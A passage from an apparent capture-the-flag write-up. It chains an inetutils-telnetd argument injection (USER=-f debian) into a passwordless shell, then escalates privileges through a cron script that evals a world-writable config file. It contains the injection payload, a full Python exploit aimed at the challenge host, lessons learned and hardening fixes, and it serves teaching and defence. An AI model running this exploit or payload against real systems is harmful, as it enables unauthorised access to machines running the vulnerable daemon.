debian'\u2500\u2500\u2518 \u2502  \u2514 SE\n\u2502  \u2502  \u2502  \u2502  \u2502                   \u2502                       \u2514 IAC\n\u2502  \u2502  \u2502  \u2502  \u2502                   \u2514 VALUE  (0x01)\n\u2502  \u2502  \u2502  \u2502  \u2514 VAR    (0x00)\n\u2502  \u2502  \u2502  \u2514 IS        (0x00)\n\u2502  \u2502  \u2514 NEW-ENVIRON  (0x27)\n\u2502  \u2514 SB              (0xfa)\n\u2514 IAC                (0xff)\n```\n\n## 5. Post-foothold enumeration\n\nInside the `debian` shell the attacker enumerates SUID/SGID binaries, world-writable config, and anything cron-like that runs as another user. The relevant find:\n\n```\n===CHECK===\n-r-xr--r-- 1 monitor monitor    190 May  8 01:12 /usr/local/bin/check_bots_health\n-r-sr-x--- 1 admin   monitor 767736 May  8 01:12 /usr/local/bin/control_bots\n544  monitor monitor /usr/local/bin/check_bots_health\n4550 admin   monitor /usr/local/bin/control_bots\n```\n\nTwo interesting binaries:\n\n- `/usr/local/bin/control_bots` \u2014 setuid `admin`, executable only by group `monitor`. Useful for the **next** rung of the chain (admin), not this one.\n- `/usr/local/bin/check_bots_health` \u2014 owned by `monitor`, mode `0544`. World-readable so the `debian` user can inspect the source:\n\n```\n===CAT===\n#!/bin/bash\nCONFIG_FILE=\"/home/monitor/bots.conf\"\n\nif [ -f \"$CONFIG_FILE\" ]; then\n    while read -r target; do\n        eval \"ping -c 1 $target\" > /dev/nu...\n```\n\n(The trace truncates after `/dev/nu` but the relevant primitive is already visible.) The script reads each line of the config and feeds it directly to `eval`. Anything after a shell metacharacter (`;`, `|`, `&&`, `\\``, `$( )`) executes as a sub-command.\n\nThe config file's permissions and the flag location confirm the privesc target:\n\n```\nDIRECT\n-r-------- 1 admin   admin    22 May  8 01:12 /home/admin/flag.txt\n-rw-rw-rw- 1 monitor monitor 101 May  8 01:12 /home/monitor/bots.conf\n-r-------- 1 monitor monitor  22 May  8 01:12 /home/monitor/flag.txt\n  File: /home/monitor/bots.conf\n  Size: 101    Blocks: 8   IO Block: 4096   regular file\nDevice: 0,283  Inode: 4390770\nAccess: (0666/-rw-rw-rw-)  Uid: ( 1001/ monitor)  Gid: ( 1001/ monitor)\n```\n\n`/home/monitor/bots.conf` is mode `0666` (world-writable). `/home/monitor/flag.txt` is mode `0400`, readable only by `monitor`. The `check_bots_health` script runs as `monitor` (it's owned by `monitor` and triggered out of `monitor`'s crontab \u2014 confirmed empirically below by waiting for the next minute boundary). Therefore: write a payload line into `bots.conf`, wait for the cron to run it as `monitor`, and exfiltrate the flag through a world-readable side-channel like `/tmp`.\n\n## 6. The eval-injection primitive\n\nThe vulnerable line:\n\n```bash\nwhile read -r target; do\n    eval \"ping -c 1 $target\" > /dev/null ...\ndone\n```\n\n`$target` is unquoted *and* the whole string is then `eval`'d, so a single `;` terminates the `ping` and starts a fresh statement. The minimum payload is:\n\n```\n127.0.0.1; \n```\n\nThe leading `127.0.0.1; ` keeps the `ping` syntactically valid (which is cosmetic \u2014 `eval` doesn't care if the first command fails) and avoids any noisy tracebacks in logs.\n\nFor the actual exploit body, the payload must:\n\n1. Run as `monitor` \u2014 guaranteed by the cron context.\n2. Read `monitor`'s flag.\n3. Drop a copy to a path readable by `debian` (uid 1000).\n\nThe chosen line:\n\n```\n127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'\n```\n\n`chmod 644` is technically redundant (default `umask` would already give `debian` read access on `/tmp`), but it costs nothing and removes a class of failure modes (e.g. a restrictive umask in `monitor`'s shell init).\n\n## 7. Triggering and collection\n\nAppending the line, then polling every 10 seconds for `/tmp/monflag`:\n\n```\n$ tail -5 /home/monitor/bots.conf; date -u\n127.0.0.8\n127.0.0.9\n127.0.0.10\ntest\n127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'\nFri May  8 01:15:31 UTC 2026\n```\n\nUp to a minute later:\n\n```\nWaiting for monitor cron...\nwait 0\nwait 10\nGOT\n-rw-r--r-- 1 monitor monitor 22 May  8 01:16 /tmp/monflag\nTHC{Watch_Y0ur-...\n```\n\nThe 22-byte file is exactly the length of the THC flag format. The cron fired between `01:15:31` and `01:16:00`, confirming a once-per-minute schedule. Reading `/tmp/monflag` as `debian` returns `THC{Watch_Y0ur-Cr0Ns}`.\n\n## 8. Exploitation chain\n\n1. **Connect** to `tcp/40579`, complete the telnet option negotiation in the way `inetutils-telnetd` expects (reply `WILL NEW-ENVIRON`, `WONT` to other `DO`s).\n2. **Argument-inject** via `NEW-ENVIRON USER=-f debian`: smuggles a `-f debian` flag into the `/bin/login` argv, yielding a uid=1000 shell with no password (CVE-2026-24061).\n3. **Append** an eval-injection payload to `/home/monitor/bots.conf` (world-writable, mode `0666`):\n   `127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'`\n4. **Wait** at most 60 s for `monitor`'s minutely cron, which runs `/usr/local/bin/check_bots_health`. That script `eval`s every line of `bots.conf`, so the appended line executes as `monitor`.\n5. **Read** `/tmp/monflag` from the `debian` shell to recover `THC{Watch_Y0ur-Cr0Ns}`.\n\n## 9. Final exploit\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nTHCon `Climb Me (part 2/4)` \u2014 argument-injection in inetutils-telnetd\n(CVE-2026-24061) chained into a cron eval-injection on bots.conf.\n\"\"\"\nimport socket, time\n\nHOST, PORT = '20.40.135.232', 40579\n\n# RFC 854 / 1572 telnet constants\nIAC, DONT, DO, WONT, WILL = 255, 254, 253, 252, 251\nSB, SE                    = 250, 240\nNEW_ENV                   = 39   # NEW-ENVIRON, the channel that smuggles USER\nIS, VAR, VALUE            = 0, 0, 1\n\n# uid=1000 user discovered by sweeping /etc/passwd-ish names; root and\n# most service accounts are restricted by /etc/securetty / pam.\nUSER_INJECT = '-f debian'\n\n# Cron-injection payload. The `127.0.0.1; ` prefix keeps the surrounding\n# `eval \"ping -c 1 $target\"` syntactically valid; the `;` then starts a\n# fresh command that runs as the monitor user.\nPRIV_PAYLOAD = (\n    \"127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; \"\n    \"chmod 644 /tmp/monflag'\"\n)\n\n\ndef login_as_debian():\n    \"\"\"Open a telnet session, return (socket, on_byte_callback) once we\n    are sitting at a `$ ` prompt as uid=1000 debian.\"\"\"\n    s = socket.socket()\n    s.settimeout(5)\n    s.connect((HOST, PORT))\n    s.settimeout(0.1)\n\n    seen = bytearray()\n\n    def feed(chunk: bytes) -> bytes:\n        \"\"\"Parse one chunk of server output, side-effect: send any\n        required negotiation reply. Returns plain (non-IAC) text.\"\"\"\n        text, i = bytearray(), 0\n        while i < len(chunk):\n            if chunk[i] == IAC and i + 1 < len(chunk):\n                cmd = chunk[i + 1]\n                if cmd in (DO, DONT, WILL, WONT) and i + 2 < len(chunk):\n                    opt = chunk[i + 2]\n                    if cmd == DO and opt == NEW_ENV:\n                        # Crucial: we MUST volunteer NEW-ENVIRON, that's\n                        # the option carrying USER=...\n                        s.sendall(bytes([IAC, WILL, NEW_ENV]))\n                    elif cmd == DO:\n                        s.sendall(bytes([IAC, WONT, opt]))\n                    elif cmd == WILL:\n                        s.sendall(bytes([IAC, DO, opt]))\n                    i += 3\n                    continue\n                if cmd == SB:\n                    # walk to IAC SE\n                    j = i + 2\n                    while j + 1 < len(chunk) and not (\n                        chunk[j] == IAC and chunk[j + 1] == SE\n                    ):\n                        j += 1\n                    sub = chunk[i + 2:j]\n                    if sub and sub[0] == NEW_ENV:\n                        # Server asked us to SEND env; reply IS USER=.\n                        msg = (bytes([IAC, SB, NEW_ENV, IS, VAR])\n                               + b'USER'\n                               + bytes([VALUE])\n                               + USER_INJECT.encode()\n                               + bytes([IAC, SE]))\n                        s.sendall(msg)\n                    i = j + 2 if j + 1 < len(chunk) else len(chunk)\n                    continue\n                i += 2\n                continue\n            text.append(chunk[i])\n            i += 1\n        seen.extend(text)\n        return bytes(text)\n\n    # Spin the negotiation until we see a shell prompt.\n    deadline = time.time() + 8\n    while time.time() < deadline:\n        try:\n            d = s.recv(4096)\n        except socket.timeout:\n            continue\n        if not d:\n            raise RuntimeError(f\"closed before prompt: {bytes(seen)!r}\")\n        feed(d)\n        if b'$ ' in seen:\n            return s, feed\n    raise RuntimeError(f\"no prompt: {bytes(seen)!r}\")\n\n\ndef run(s, feed, cmd: str, timeout: float = 15) -> str:\n    \"\"\"Send `cmd`, read until a sentinel echoes back.\"\"\"\n    sentinel = '__MARK__'\n    s.sendall((cmd + f\"\\necho {sentinel}\\n\").encode())\n    out, t0 = b'', time.time()\n    while time.time() - t0 < timeout:\n        try:\n            d = s.recv(8192)\n        except socket.timeout:\n            continue\n        if not d:\n            break\n        out += feed(d)\n        if sentinel.encode() in out:\n            break\n    return out.decode('latin1', 'replace')\n\n\ndef main():\n    s, feed = login_as_debian()\n    print(\"[+] shell as\", run(s, feed, \"id; whoami\").strip())\n\n    # Append the cron-injection payload. Single quotes inside a\n    # double-quoted echo work because the inner quoting is preserved\n    # verbatim \u2014 bots.conf is plain text read line-at-a-time.\n    run(s, feed, f'echo \"{PRIV_PAYLOAD}\" >> /home/monitor/bots.conf')\n\n    # The monitor cron fires every minute. Poll /tmp/monflag for up to\n    # ~80 s in case we appended right after the last tick.\n    for _ in range(8):\n        listing = run(s, feed,\n                      'ls -l /tmp/monflag 2>/dev/null && cat /tmp/monflag')\n        if 'THC{' in listing:\n            # Extract the flag line.\n            for line in listing.splitlines():\n                if line.startswith('THC{'):\n                    print(\"[+] FLAG:\", line.strip())\n                    return\n        time.sleep(10)\n    print(\"[-] timed out waiting for cron\")\n\n\nif __name__ == '__main__':\n    main()\n```\n\n## 10. Methodology / lessons\n\nThe analytical path that actually finds this:\n\n1. **First, identify the daemon, not the shape of the response.** The opening byte string `\\xff\\xfd\\x18\\xff\\xfd\\x20\\xff\\xfd\\x23\\xff\\xfd\\x27\\xff\\xfd\\x24` is far more diagnostic than the login banner \u2014 that exact set of `DO` requests (TTYPE / TSPEED / XDISPLOC / NEW-ENVIRON / OLD-ENVIRON) is the GNU `inetutils-telnetd` fingerprint. Once you read it as RFC 854 IAC sequences, half the work is done.\n2. **Take the protocol seriously.** The first dozen failed attempts in the trace all stem from the same mistake: sending `WONT` to everything and assuming the server will fall through to a login prompt. `inetutils-telnetd` won't \u2014 it explicitly waits for `IS` replies to its `SEND` subnegotiations. If the daemon closes the socket before printing `Password:`, the bug is in your client, not the server.\n3. **`USER=-f` is the canonical telnetd argument-injection.** Whenever a daemon forwards client-supplied environment to a command line, scan for `-`-prefix-confusion on every variable that maps to a CLI flag. `login -f` is the most famous instance, but the general pattern (`-f` for `mail`, `-e` for `find`, `-i` for `ssh`, etc.) recurs.\n4. **When the obvious target (`root`) is locked down, sweep the next tier.** `pam`/`securetty` typically denies `root` on a pseudo-tty even with `login -f`, but unprivileged users like `debian`, `ubuntu`, `ctf`, etc. are wide open. A 100-name dictionary sweep is cheap and almost always finds the intended foothold.\n5. **Inside the box, prioritise *who runs what when*, not what's setuid.** This challenge has a setuid binary (`control_bots`) but the solution doesn't touch it \u2014 the privesc is via `monitor`'s minutely cron consuming a world-writable config. The pattern to recognise: a mode-`0666` file referenced by a script owned by another user is almost always a code-execution primitive, regardless of whether the script itself is suid.\n6. **`eval \"$cmd $unquoted_var\"` is always exploitable.** Even with input \"validation\" upstream, the unquoted expansion lets `;`, `\\``, `$(...)`, `&&`, and `|` all escape. The mitigation is to drop the `eval` entirely and use an array (`ping -c 1 -- \"$target\"`).\n\n## 11. Notes\n\n- `root` is not directly reachable by `-f root`: every attempt cleanly closes after env negotiation. PAM almost certainly bounces the non-securetty pseudo-tty before `login` ever consults `-f`.\n- The `control_bots` binary (setuid `admin`, group-executable by `monitor`) is the next link in the chain \u2014 relevant for parts 3/4, not part 2.\n- Hardening would chain three fixes: (a) patch `inetutils-telnetd` to reject env values starting with `-` or to use `--` before user-supplied argv to `login`; (b) make `/home/monitor/bots.conf` mode `0640` owned `monitor:monitor` so `debian` cannot append; (c) replace `eval \"ping -c 1 $target\"` with `ping -c 1 -- \"$target\"`.", "creation_timestamp": "2026-05-08T20:14:44.000000Z"}]}